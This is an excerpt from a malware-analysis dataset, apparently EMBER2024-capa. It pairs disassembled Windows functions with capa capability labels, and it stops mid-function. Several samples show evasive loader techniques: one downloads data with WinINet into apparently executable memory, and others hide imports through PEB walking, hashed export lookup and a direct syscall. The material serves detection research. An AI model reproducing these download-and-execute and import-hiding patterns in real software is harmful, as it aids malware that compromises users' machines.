joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007f40
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
xor r15d, r15d
mov rdi, rcx
mov ebx, r15d
xor eax, eax
mov esi, 1
lock cmpxchg dword [0x18000ec78], esi
je 0x180007f95
cmp rbx, 0x20
jae 0x180007f7e
xor ecx, ecx
jmp 0x180007f80
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x18000ec78], esi
jne 0x180007f74
cmp qword [0x18000ec80], r15
je 0x18000807f
test rdi, rdi
jne 0x180007fb5
mov ecx, esi
call fcn.180007b10
mov ebp, eax
jmp 0x180008084
mov ecx, dword [0x18000ecfc]
mov ebx, r15d
test ecx, ecx
je 0x180007fdf
mov r8, qword [0x18000ecf0]
mov rax, r8
nop dword [rax]
cmp rdi, qword [rax]
je 0x180007fe9
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180007fd0
mov ebp, 4
jmp 0x180008084
cmp ebx, 0xffffffff
je 0x180007fdf
mov eax, ebx
imul rdx, rax, 0x38
test byte [rdx + r8 + 0x20], 2
jne 0x180008078
mov r8d, esi
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.180007830
mov edx, esi
mov ecx, ebx
call fcn.1800079e0
mov ebp, eax
cmp qword [rsp + 0x20], r15
je 0x180008084
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180008062
mov rbx, qword [rsp + 0x20]
mov esi, eax
nop dword [rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180008058
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rsi, 1
jne 0x180008030
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x18000ec80]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180008084
mov ebp, 5
jmp 0x180008084
mov ebp, 2
xchg dword [0x18000ec78], r15d
mov rbx, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
Function at 0x401270
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbp
mov eax, r8d
mov rbp, rdx
mov qword [rsp + 0x40], rsi
shr eax, 4
add ax, 1
mov ebx, r8d
mov rsi, rcx
movzx edx, ax
mov r8d, 6
mov rcx, rbp
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
mov r12, rax
je 0x4013d5
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x4013d5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
mov rdi, rax
je 0x4013d5
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rdi
and ebx, 0xf
jbe 0x401316
nop
cmp rdi, r11
jae 0x4013d5
add ebx, 0xffffffff
movzx eax, word [rdi]
lea rdi, [rdi + rax*2 + 2]
jne 0x401300
cmp rdi, r11
jae 0x4013d5
movzx eax, word [rdi]
test ax, ax
je 0x4013d5
movzx ebx, ax
mov rax, qword [rsi]
mov ecx, 1
sub ecx, dword [rax - 8]
mov eax, dword [rax - 0xc]
sub eax, ebx
or ecx, eax
jge 0x40134c
mov edx, ebx
mov rcx, rsi
call fcn.004010f0
movzx ecx, word [rdi]
lea r8, [rdi + 2]
cmp ecx, 0xffffffff
jne 0x40136c
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, r8
repne scasw ax, word [rdi]
not rcx
and ecx, ecx
movsxd r9, ecx
mov rcx, qword [rsi]
lea rdi, [rbx + rbx]
mov rdx, rdi
add r9, r9
call fcn.00414b70
test eax, eax
je 0x4013ab
cmp eax, 0xc
je 0x4013a5
cmp eax, 0x16
je 0x40139f
cmp eax, 0x22
je 0x40139f
cmp eax, 0x50
je 0x4013ab
call fcn.0040f198
int3
call fcn.0040f198
int3
call fcn.0040f150
int3
test ebx, ebx
js 0x4013ca
mov rcx, qword [rsi]
cmp ebx, dword [rcx - 0xc]
jg 0x4013ca
mov dword [rcx - 0x10], ebx
mov rcx, qword [rsi]
mov eax, 1
mov word [rdi + rcx], 0
jmp 0x4013d7
mov ecx, 0x80070057
call fcn.004010d0
int3
xor eax, eax
mov r12, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x401400
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x40143b
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
add rsp, 0x28
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
mov rbx, rax
je 0x40147f
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x40147a
cmp rbx, r11
jae 0x40147f
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x401468
cmp rbx, r11
jb 0x401483
xor eax, eax
jmp 0x40148f
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
add rsp, 0x28
ret
Function at 0x40e300
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
test rdx, rdx
mov rsi, rdx
mov rbp, rcx
je 0x40e35a
call fcn.004067f4
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x40e35a
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
mov rbx, rax
je 0x40e37c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.0040dd80
test rdi, rdi
mov esi, eax
je 0x40e37a
test rbx, rbx
je 0x40e37a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
add rsp, 0x20
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x418c47
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x0043d120]
jne 0x41450a
rol rcx, 0x10
test cx, 0xffff
jne 0x414506
repz ret
ror rcx, 0x10
jmp 0x418ba0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x00442ad0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x00442bc8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x418c25
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x00442ad0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x418c47
mov rax, qword [rsp + 0x88]
mov qword [0x00442bc8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x00442b68], rax
mov rax, qword [0x00442bc8]
mov qword [0x00442a40], rax
mov rax, qword [rsp + 0x90]
mov qword [0x00442b50], rax
mov dword [0x00442a30], 0xc0000409
mov dword [0x00442a34], 1
mov rax, qword [0x0043d120]
mov qword [rsp + 0x68], rax
mov rax, qword [0x0043d128]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x00442ac8], eax
mov ecx, 1
call fcn.00421d20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x00431ef8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x00442ac8], 0
jne 0x418cce
mov ecx, 1
call fcn.00421d20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x4217f0
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.00418510
xor ebx, ebx
cmp qword [0x00443370], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x421921
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x421853
xor eax, eax
jmp 0x421a01
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x42184c
mov rcx, rax
call fcn.004184a0
lea rdx, [0x00432088]
mov rcx, rbp
mov qword [0x00443370], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004184a0
lea rdx, [0x00432070]
mov rcx, rbp
mov qword [0x00443378], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004184a0
lea rcx, [rsp + 0x30]
mov qword [0x00443380], rax
call fcn.00414790
test eax, eax
je 0x4218d7
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00419240
cmp dword [rsp + 0x30], 2
jne 0x421921
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004184a0
test rax, rax
mov qword [0x00443390], rax
je 0x421921
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004184a0
mov qword [0x00443388], rax
mov rcx, qword [0x00443388]
cmp rcx, rsi
je 0x4219b3
cmp qword [0x00443390], rsi
je 0x4219b3
call fcn.00418570
call rax
test rax, rax
mov rbp, rax
je 0x42197e
mov rcx, qword [0x00443390]
call fcn.00418570
lea rcx, [rsp + 0x38]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x42197e
test byte [rsp + 0x48], 1
jne 0x4219b3
lea rcx, [rsp + 0x34]
call fcn.004147e0
test eax, eax
je 0x4219a0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00419240
cmp dword [rsp + 0x34], 4
jb 0x4219ad
bts edi, 0x15
jmp 0x4219e7
bts edi, 0x12
jmp 0x4219e7
mov rcx, qword [0x00443378]
cmp rcx, rsi
je 0x4219e7
call fcn.00418570
call rax
test rax, rax
mov rbx, rax
je 0x4219e7
mov rcx, qword [0x00443380]
cmp rcx, rsi
je 0x4219e7
call fcn.00418570
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x00443370]
call fcn.00418570
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x1400013e0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x130
mov ebp, ecx
test ecx, ecx
je 0x14000147b
mov rax, qword gs:[0x60]
mov rbx, qword [rax + 0x18]
mov rbx, qword [rbx + 0x20]
test rbx, rbx
je 0x14000147b
mov r14d, 0x104
nop
movzx eax, word [rbx + 0x48]
test ax, ax
je 0x14000147b
cmp ax, r14w
jae 0x14000147b
mov rax, qword [rbx + 0x50]
xor edi, edi
cmp word [rax], di
je 0x140001460
xor esi, esi
xor ecx, ecx
nop
movzx ecx, byte [rcx + rax]
call fcn.140001f70
inc edi
mov byte [rsp + rsi + 0x20], al
mov rax, qword [rbx + 0x50]
mov esi, edi
lea rcx, [rdi + rdi]
cmp word [rcx + rax], 0
jne 0x140001440
lea rcx, [rsp + 0x20]
mov byte [rsp + rdi + 0x20], 0
call fcn.140001ec0
cmp eax, ebp
je 0x14000149b
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140001420
xor eax, eax
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov rax, qword [rbx + 0x20]
jmp 0x14000147d
Function at 0x1400014b0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x110
mov ebp, edx
mov rdi, rcx
test rcx, rcx
je 0x1400015e5
test edx, edx
je 0x1400015e5
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400015e5
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x1400015e5
movups xmm0, xmmword [rax + 0x18]
lea rcx, [rsp + 0x20]
xor ebx, ebx
movups xmm1, xmmword [rax + 0x28]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm0
movups xmmword [rcx + 0x60], xmm1
mov r14d, dword [rsp + 0x90]
add r14, rdi
mov r15d, dword [r14 + 0x20]
mov r12d, dword [r14 + 0x1c]
add r15, rdi
mov r13d, dword [r14 + 0x24]
add r12, rdi
add r13, rdi
cmp dword [r14 + 0x14], ebx
jbe 0x1400015e5
nop dword [rax + rax]
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r15 + rbx*4]
add rcx, rdi
mov esi, dword [r12 + rax*4]
add rsi, rdi
call fcn.140001ec0
cmp ebp, eax
je 0x140001608
inc ebx
cmp ebx, dword [r14 + 0x14]
jb 0x1400015c0
xor eax, eax
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsi
jmp 0x1400015e7

Function at 0x140001610
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000163a
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14000163a
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
mov qword [rdx], rax
mov eax, 1
ret
xor eax, eax
ret
Function at 0x140001ec0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rcx, eax
mov edx, ebx
test eax, eax
je 0x140001efb
nop
movsx eax, byte [rdi + rdx]
inc rdx
add eax, ebx
imul ebx, eax, 0x101
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rdx, rcx
jne 0x140001ee0
lea eax, [rbx + rbx*8]
mov rbx, qword [rsp + 0x30]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
add rsp, 0x20
pop rdi
ret

Function at 0x140001fc1
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [0x1400033b0]
syscall
ret
Function at 0x414428
Capabilities:
Read data from internet
Receive data

Disassembly:
push rbx
sub rsp, 0x90
mov qword [rsp + 0x30], 0xfffffffffffffffe
lea rcx, [rsp + 0x38]
call fcn.00403f3c
cmp qword [rax + 0x20], 0x10
jb 0x414451
mov rcx, qword [rax + 8]
jmp 0x414455
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x0044a6b0], rax
cmp qword [rsp + 0x58], 0x10
jb 0x414474
mov rcx, qword [rsp + 0x40]
call fcn.00414bc8
lea rcx, [rsp + 0x60]
call fcn.00404954
mov rbx, rax
lea rcx, [rsp + 0x38]
call fcn.00403344
nop
cmp qword [rbx + 0x20], 0x10
jb 0x414499
mov rbx, qword [rbx + 8]
jmp 0x41449d
add rbx, 8
cmp qword [rax + 0x20], 0x10
jb 0x4144aa
mov rdx, qword [rax + 8]
jmp 0x4144ae
lea rdx, [rax + 8]
mov rcx, qword [0x0044a6b0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, rbx
call rax
mov qword [0x0044a6c0], rax
cmp qword [rsp + 0x58], 0x10
jb 0x4144eb
mov rcx, qword [rsp + 0x40]
call fcn.00414bc8
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x40], 0
cmp qword [rsp + 0x80], 0x10
jb 0x414517
mov rcx, qword [rsp + 0x68]
call fcn.00414bc8
lea rcx, [rsp + 0x60]
call fcn.0040509c
cmp qword [rax + 0x20], 0x10
jb 0x41452e
mov rdx, qword [rax + 8]
jmp 0x414532
lea rdx, [rax + 8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [0x0044a6c0]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [0x0044a6b8], rax
cmp qword [rsp + 0x80], 0x10
jb 0x414572
mov rcx, qword [rsp + 0x68]
call fcn.00414bc8
mov dword [0x0044a74c], 4
lea rcx, [rsp + 0x60]
call fcn.004076f8
nop
cmp qword [rax + 0x20], 0x10
jb 0x414594
mov rdx, qword [rax + 8]
jmp 0x414598
lea rdx, [rax + 8]
mov rcx, qword [0x0044a6b0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], 0
lea r9, [0x0044a74c]
lea r8, [0x0044a748]
mov edx, 0x20000005
mov rcx, qword [0x0044a6b8]
call rax
nop
cmp qword [rsp + 0x80], 0x10
jb 0x4145e0
mov rcx, qword [rsp + 0x68]
call fcn.00414bc8
mov ecx, dword [0x0044a748]
call fcn.00414bd0
mov qword [0x0044a740], rax
lea r9, [0x0044a750]
mov r8d, dword [0x0044a748]
mov rdx, rax
mov rcx, qword [0x0044a6b8]
call qword [sym.imp.WININET.dll_InternetReadFile]
lea rcx, [rsp + 0x60]
call fcn.0040283c
nop
cmp qword [rax + 0x20], 0x10
jb 0x414628
mov rdx, qword [rax + 8]
jmp 0x41462c
lea rdx, [rax + 8]
mov ebx, dword [0x0044a748]
mov rcx, qword [0x0044a630]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call rax
mov qword [0x0044a6c8], rax
cmp qword [rsp + 0x80], 0x10
jb 0x414675
mov rcx, qword [rsp + 0x68]
call fcn.00414bc8
mov rax, qword [0x0044a6c8]
mov r8d, dword [0x0044a748]
mov rdx, qword [0x0044a740]
mov rcx, rax
add rsp, 0x90
pop rbx
jmp fcn.00422c00
Function at 0x424e97
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x00448c68]
jne 0x421cea
rol rcx, 0x10
test cx, 0xffff
jne 0x421ce6
repz ret
ror rcx, 0x10
jmp 0x424df0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x0044e4e0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x0044e5d8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x424e75
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x0044e4e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x424e97
mov rax, qword [rsp + 0x88]
mov qword [0x0044e5d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x0044e578], rax
mov rax, qword [0x0044e5d8]
mov qword [0x0044e450], rax
mov rax, qword [rsp + 0x90]
mov qword [0x0044e560], rax
mov dword [0x0044e440], 0xc0000409
mov dword [0x0044e444], 1
mov rax, qword [0x00448c68]
mov qword [rsp + 0x68], rax
mov rax, qword [0x00448c70]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x0044e4d8], eax
mov ecx, 1
call fcn.0042d9e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x00439578]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x0044e4d8], 0
jne 0x424f1e
mov ecx, 1
call fcn.0042d9e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x42d740
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.00425330
xor ebx, ebx
cmp qword [0x0044eee0], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x42d871
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x42d7a3
xor eax, eax
jmp 0x42d951
lea rdx, [0x0043a140]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x42d79c
mov rcx, rax
call fcn.004252c0
lea rdx, str.GetActiveWindow
mov rcx, rbp
mov qword [0x0044eee0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004252c0
lea rdx, [0x0043a118]
mov rcx, rbp
mov qword [0x0044eee8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004252c0
lea rcx, [rsp + 0x30]
mov qword [0x0044eef0], rax
call fcn.00424380
test eax, eax
je 0x42d827
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00424c30
cmp dword [rsp + 0x30], 2
jne 0x42d871
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004252c0
test rax, rax
mov qword [0x0044ef00], rax
je 0x42d871
lea rdx, [0x0043a0e0]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004252c0
mov qword [0x0044eef8], rax
mov rcx, qword [0x0044eef8]
cmp rcx, rsi
je 0x42d903
cmp qword [0x0044ef00], rsi
je 0x42d903
call fcn.00425390
call rax
test rax, rax
mov rbp, rax
je 0x42d8ce
mov rcx, qword [0x0044ef00]
call fcn.00425390
lea rcx, [rsp + 0x38]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x42d8ce
test byte [rsp + 0x48], 1
jne 0x42d903
lea rcx, [rsp + 0x34]
call fcn.004243d0
test eax, eax
je 0x42d8f0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00424c30
cmp dword [rsp + 0x34], 4
jb 0x42d8fd
bts edi, 0x15
jmp 0x42d937
bts edi, 0x12
jmp 0x42d937
mov rcx, qword [0x0044eee8]
cmp rcx, rsi
je 0x42d937
call fcn.00425390
call rax
test rax, rax
mov rbx, rax
je 0x42d937
mov rcx, qword [0x0044eef0]
cmp rcx, rsi
je 0x42d937
call fcn.00425390
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x0044eee0]
call fcn.00425390
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x1400e16f9
Capabilities:
Write file on windows

Disassembly:
jmp 0x140285140
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14036c662]
call fcn.1400e5876
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140285197
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x1402852a3
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14028523c
cmp qword [rbp + 0x28], 0
jle 0x14028523c
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x1402851dc
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.1400e53e4
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
